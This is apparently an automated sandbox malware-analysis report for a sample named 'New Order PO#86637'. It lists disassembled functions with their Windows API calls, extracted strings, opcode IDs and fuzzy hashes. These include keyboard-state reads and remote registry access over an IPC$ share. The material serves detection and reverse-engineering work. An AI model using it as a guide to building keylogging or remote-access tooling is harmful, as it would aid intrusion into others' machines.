SafeArrayUnaccessData.OLEAUT32(00000004), ref: 00467FAB

Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651

SafeArrayUnaccessData.OLEAUT32(00479A50), ref: 00467E48

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

SafeArrayUnaccessData.OLEAUT32(00479A50), ref: 00468030

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ArraySafe$Data$Access$Unaccess$_memmovestd::exception::exception$Exception@8ThrowVartype_malloc
String ID:
API String ID: 2170234536-0
Opcode ID: aa00afaeb95d016149156b33273ce501c4b0800cd775f7336c4c4d99d01e60ec
Instruction ID: 6369f5c3f22445f0d5bf5c4520e4337682cbd46778e63a39b460943b9460954a
Opcode Fuzzy Hash: aa00afaeb95d016149156b33273ce501c4b0800cd775f7336c4c4d99d01e60ec
Instruction Fuzzy Hash: 26B124716042059FD700CF59D884BAEB7B5FF88308F24856EEA05DB351EB3AD845CB6A

Function 00453C57 Relevance: 18.2, APIs: 12, Instructions: 190keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00453CE0
SetKeyboardState.USER32(?), ref: 00453D3B
GetAsyncKeyState.USER32(000000A0), ref: 00453D5E
GetKeyState.USER32(000000A0), ref: 00453D75
GetAsyncKeyState.USER32(000000A1), ref: 00453DA4
GetKeyState.USER32(000000A1), ref: 00453DB5
GetAsyncKeyState.USER32(00000011), ref: 00453DE1
GetKeyState.USER32(00000011), ref: 00453DEF
GetAsyncKeyState.USER32(00000012), ref: 00453E18
GetKeyState.USER32(00000012), ref: 00453E26
GetAsyncKeyState.USER32(0000005B), ref: 00453E4F
GetKeyState.USER32(0000005B), ref: 00453E5D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: a3f88cab2abdfc68c44a637c7b6f2bd83c4aa3bfdff3a706604d8f1b20d6ef18
Instruction ID: 009fbf1908f75ed0a62addf5985db529f64a747a45b1090b1102dc3b9208550d
Opcode Fuzzy Hash: a3f88cab2abdfc68c44a637c7b6f2bd83c4aa3bfdff3a706604d8f1b20d6ef18
Instruction Fuzzy Hash: BC61DD3190478829FB329F6488057EBBBF45F12346F08459ED9C2162C3D7AC6B4CCB65

Function 004357B7 Relevance: 18.2, APIs: 12, Instructions: 184COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 004357DB
GetWindowRect.USER32(00000000,?), ref: 004357ED
MoveWindow.USER32(?,0000000A,?,?,?,00000000), ref: 00435857
GetDlgItem.USER32(?,00000002), ref: 0043586A
GetWindowRect.USER32(00000000,?), ref: 0043587C
MoveWindow.USER32(?,?,00000000,?,00000001,00000000), ref: 004358CE
GetDlgItem.USER32(?,000003E9), ref: 004358DC
GetWindowRect.USER32(00000000,?), ref: 004358EE
MoveWindow.USER32(?,0000000A,00000000,?,?,00000000), ref: 00435933
GetDlgItem.USER32(?,000003EA), ref: 00435941
MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 0043595A
InvalidateRect.USER32(?,00000000,00000001), ref: 00435967

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 5d52927da84fb547f57ff0a94c85d4d7e4cc3ec4f802ea2f498aab0433028225
Instruction ID: 6af1b44a8b8b1dd3dfd8c00d901dfbe31295268d39f582813a56aed3f3dd18d2
Opcode Fuzzy Hash: 5d52927da84fb547f57ff0a94c85d4d7e4cc3ec4f802ea2f498aab0433028225
Instruction Fuzzy Hash: 7C515FB1B00609ABCB18DF68CD95AAEB7B9EF88310F148529F905E7390E774ED008B54

Function 004714D9 Relevance: 18.1, APIs: 12, Instructions: 132windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 004714DC
LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 004714F7
SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 00471510
DeleteObject.GDI32(?), ref: 0047151E
DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,000000F0), ref: 0047152C
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0047156F
SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 00471588
ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 004715A9
DestroyIcon.USER32(?,?,?,?,?,?,000000F0), ref: 004715CD
SendMessageW.USER32(?,000000F7,00000001,?), ref: 004715DC
DeleteObject.GDI32(?), ref: 004715EA
DestroyIcon.USER32(?,?,000000F7,00000001,?,?,?,?,?,?,000000F0), ref: 004715F8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Icon$DestroyMessageSend$DeleteImageLoadObject$ExtractLongWindow
String ID:
API String ID: 3218148540-0
Opcode ID: 09c61f0bb0da2772a57e209ce6a73de2c43359248684d71e73f4e5cafd481585
Instruction ID: 6a50b90733f0312424b7b906018c15bc054940e4c1588362709ca6bab20dc4d5
Opcode Fuzzy Hash: 09c61f0bb0da2772a57e209ce6a73de2c43359248684d71e73f4e5cafd481585
Instruction Fuzzy Hash: D2419231740206ABDB209F69DD49FEB77A8EB84711F10452AFA46E72D0DBB4E805C768

Function 00433784 Relevance: 18.1, APIs: 12, Instructions: 119COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0043379C
_wcscpy.LIBCMT ref: 004337AA
__wsplitpath.LIBCMT ref: 004337D8
__wsplitpath.LIBCMT ref: 004337FA
_wcscpy.LIBCMT ref: 0043381E
_wcscpy.LIBCMT ref: 0043383D
_wcscpy.LIBCMT ref: 0043384D
_wcscat.LIBCMT ref: 0043385A
_wcscat.LIBCMT ref: 004338B4
_wcscat.LIBCMT ref: 004338EA
_wcscat.LIBCMT ref: 004338FA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: 6cac6aaee55c93d52b89e688f8fbcd2468be5ec8bb4ca81dd5968faf06821e55
Instruction ID: 55d98b2249b58b9b89d53d2d63704957c70a659fb5fc0040d5683289e7d9fa4f
Opcode Fuzzy Hash: 6cac6aaee55c93d52b89e688f8fbcd2468be5ec8bb4ca81dd5968faf06821e55
Instruction Fuzzy Hash: C24174B381021C66CB24EB55CC41DEE737DAB98705F0085DEB60963141EA796BC8CFA5

Function 00467408 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 308COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 00467490
_wcsncpy.LIBCMT ref: 004674BC

Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182

_wcstok.LIBCMT ref: 004674FF

Part of subcall function 00413EB8: __getptd.LIBCMT ref: 00413EBE

_wcstok.LIBCMT ref: 004675B2
GetOpenFileNameW.COMDLG32(00000058), ref: 00467774
_wcslen.LIBCMT ref: 00467793
_wcscpy.LIBCMT ref: 00467641

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

_wcslen.LIBCMT ref: 004677BD
GetSaveFileNameW.COMDLG32(00000058), ref: 00467807

Part of subcall function 00461465: _memmove.LIBCMT ref: 004614F8

Strings

X, xrefs: 00467696

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$FileName_memmove_wcscpy_wcsncpy_wcstok$OpenSave__getptd
String ID: X
API String ID: 3104067586-3081909835
Opcode ID: bae8ec41c075a4f6a2b7e9f416d910fa80a531229cf5203f8bd385032f306646
Instruction ID: 683e1e2944aeccc99b179fad4e52216d38d827d7da526ed866e93360804c4864
Opcode Fuzzy Hash: bae8ec41c075a4f6a2b7e9f416d910fa80a531229cf5203f8bd385032f306646
Instruction Fuzzy Hash: 69C1C5306083009BD310FF65C985A5FB7E4AF84318F108D2EF559972A2EB78ED45CB9A

Function 0046CB5F Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 304comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0046CBC7
CLSIDFromProgID.OLE32(?,?), ref: 0046CBDF
CLSIDFromString.OLE32(?,?), ref: 0046CBF1
CoCreateInstance.OLE32(?,?,00000005,00482998,?), ref: 0046CC56
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0046CCCA
_wcslen.LIBCMT ref: 0046CDB0
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 0046CE33
CoTaskMemFree.OLE32(?), ref: 0046CE42
CoSetProxyBlanket.OLE32(?,?,?,?,?,?,?,00000800), ref: 0046CE85

Part of subcall function 00468070: VariantInit.OLEAUT32(00000000), ref: 004680B0
Part of subcall function 00468070: VariantCopy.OLEAUT32(00000000,00479A50), ref: 004680BA
Part of subcall function 00468070: VariantClear.OLEAUT32 ref: 004680C7

Strings

NULL Pointer assignment, xrefs: 0046CEA6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$CreateFromInitializeInstance$BlanketClearCopyFreeInitProgProxySecurityStringTask_wcslen
String ID: NULL Pointer assignment
API String ID: 440038798-2785691316
Opcode ID: 58df38d68bb8b0de8b452a242e06650ce93d7fbbb76e65ad7c2ec0be56c62684
Instruction ID: 7aab634462a7dbcbf958abac95e41bd58996b502d0213671d322085b5631b432
Opcode Fuzzy Hash: 58df38d68bb8b0de8b452a242e06650ce93d7fbbb76e65ad7c2ec0be56c62684
Instruction Fuzzy Hash: 74B13FB1D00229AFDB10DFA5CC85FEEB7B8EF48700F10855AF909A7281EB745A45CB95

Function 00461014 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00461056
GetWindowTextW.USER32(?,?,00000400), ref: 00461092
_wcslen.LIBCMT ref: 004610A3
CharUpperBuffW.USER32(?,00000000), ref: 004610B1
GetClassNameW.USER32(?,?,00000400), ref: 00461124
GetWindowTextW.USER32(?,?,00000400), ref: 0046115D
GetClassNameW.USER32(?,?,00000400), ref: 004611A1
GetClassNameW.USER32(?,?,00000400), ref: 004611D9
GetWindowRect.USER32(?,?), ref: 00461248

Part of subcall function 00436299: _memmove.LIBCMT ref: 004362D9

Strings

ThumbnailClass, xrefs: 0046112F, 004611A8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_memmove_wcslen
String ID: ThumbnailClass
API String ID: 4136854206-1241985126
Opcode ID: d083942efa6e299b81e87f64ddc190b4296276633e8192dbc1e7cc466e4535cb
Instruction ID: 9bdbaadfe46dce382da1609a4111f175dadd43cf518d3c7fb815d390e9d71813
Opcode Fuzzy Hash: d083942efa6e299b81e87f64ddc190b4296276633e8192dbc1e7cc466e4535cb
Instruction Fuzzy Hash: D991F3715043009FCB14DF51C881BAB77A8EF89719F08895FFD84A6252E738E946CBA7

Function 004718BA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 147windowCOMMON

Download Yara Rule

APIs

ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 004718C7
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00471922
SendMessageW.USER32(?,00001109,00000000,00000000), ref: 00471947
ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 00471960
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004719E0
SendMessageW.USER32(?,0000113F,00000000,00000032), ref: 00471A0D
GetClientRect.USER32(?,?), ref: 00471A1A
RedrawWindow.USER32(?,?,00000000,00000000), ref: 00471A29
DestroyIcon.USER32(?), ref: 00471AF4

Strings

2, xrefs: 004719D9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
String ID: 2
API String ID: 1331449709-450215437
Opcode ID: 35af861e1287c83bf6b22685c9feb70a55a109cab4d535c9bbd66d0cf124b3e0
Instruction ID: 8a8bfaa361b8e4ad447499ed02e60938d35b352fbee86dd909721fc396438cf5
Opcode Fuzzy Hash: 35af861e1287c83bf6b22685c9feb70a55a109cab4d535c9bbd66d0cf124b3e0
Instruction Fuzzy Hash: 19519070A00209AFDB10CF98CD95BEEB7B5FF49310F10815AEA09AB3A1D7B4AD41CB55

Function 0046081F Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,00427F75,?,0000138C,?,00000001,?,?,?), ref: 004608A9
LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608B0

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,00427F75,?,0000138C,?,00000001,?,?,?,?,?,00000000), ref: 004608D0
LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608D7
__swprintf.LIBCMT ref: 00460915
__swprintf.LIBCMT ref: 0046092D
_wprintf.LIBCMT ref: 004609E1

Strings

Error: , xrefs: 004609AC
%s (%d) : ==> %s: %s %s, xrefs: 004609DC
Line %d:, xrefs: 0046090F
^ ERROR, xrefs: 00460983

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$_memmove_wcslen_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d:$^ ERROR
API String ID: 3054410614-2561132961
Opcode ID: 70def87c4b28ee4ab6614adc46955888b63d74e37d3694ee9c83f9e80406ad7b
Instruction ID: 8ea7bd36613c7ff98b4c02c5a019b599898316a67ab96f708308d0ed756dbd7a
Opcode Fuzzy Hash: 70def87c4b28ee4ab6614adc46955888b63d74e37d3694ee9c83f9e80406ad7b
Instruction Fuzzy Hash: 654183B29001099BDB00FBD1DC9AAEF7778EF44354F45403AF504B7192EB78AA45CBA9

Function 00458651 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 135registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00458721
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 0045873E
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?), ref: 0045875C
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 0045878A
CLSIDFromString.OLE32(?,?), ref: 004587B3
RegCloseKey.ADVAPI32(000001FE), ref: 004587BF
RegCloseKey.ADVAPI32(?), ref: 004587C5

Strings

SOFTWARE\Classes\, xrefs: 00458680
\CLSID, xrefs: 00458698
\IPC$, xrefs: 00458704

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 600699880-22481851
Opcode ID: cfc91adc3568b3696bc93f198b4a86b184f94eddf56cabac594ca02b2fd0747b
Instruction ID: 095cb2d92039a6881e8bf561e9cb0619f72fc8c68408713302cc045b8cca0367
Opcode Fuzzy Hash: cfc91adc3568b3696bc93f198b4a86b184f94eddf56cabac594ca02b2fd0747b
Instruction Fuzzy Hash: 58415275D0020DABCB04EBA4DC45ADE77B8EF48304F10846EE914B7291EF78A909CB94

Function 00450C41 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00450CA0

Strings

static, xrefs: 00450C82

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: DestroyWindow
String ID: static
API String ID: 3375834691-2160076837
Opcode ID: d780a762e7facdedeb15ece3d926807f2c32385f8c9501599d87c18bab5c95b9
Instruction ID: e571488c54e010bbe3192cf51c39f0d33963e2fa0fa89bc12fd4c8100c345edb
Opcode Fuzzy Hash: d780a762e7facdedeb15ece3d926807f2c32385f8c9501599d87c18bab5c95b9
Instruction Fuzzy Hash: 2C41B375200205ABDB149F64DC85FEB33A8EF89725F20472AFA15E72C0D7B4E841CB68

Function 0045D94B Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 88COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D959
GetDriveTypeW.KERNEL32(?,?), ref: 0045D9AB
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045DA4B

Strings

CDROM, xrefs: 0045D9F5
RAMDisk, xrefs: 0045DA04
Fixed, xrefs: 0045D9D7
\VH, xrefs: 0045D99B
Network, xrefs: 0045D9E6
Removable, xrefs: 0045D9C8
Unknown, xrefs: 0045DA13

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$\VH
API String ID: 2907320926-3566645568
Opcode ID: d176aaa606c69a21fa64de5f54fcf515c340d5c4a7f23c4320f7b4e4ff292d02
Instruction ID: 8c6a7395db7573f60177d60b7e789de744ab79b943898383e565048f237880a7
Opcode Fuzzy Hash: d176aaa606c69a21fa64de5f54fcf515c340d5c4a7f23c4320f7b4e4ff292d02
Instruction Fuzzy Hash: B7316E35A042049BCB10FFA9C48595EB771FF88315B1088ABFD05AB392C739DD45CB6A

Function 00470928 Relevance: 16.7, APIs: 11, Instructions: 166windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00430003: InvalidateRect.USER32(?,00000000,00000001), ref: 00430091

DestroyAcceleratorTable.USER32(?), ref: 0047094A
ImageList_Destroy.COMCTL32(?), ref: 004709AD
ImageList_Destroy.COMCTL32(?), ref: 004709C5
ImageList_Destroy.COMCTL32(?), ref: 004709D5
DeleteObject.GDI32(00630053), ref: 00470A04
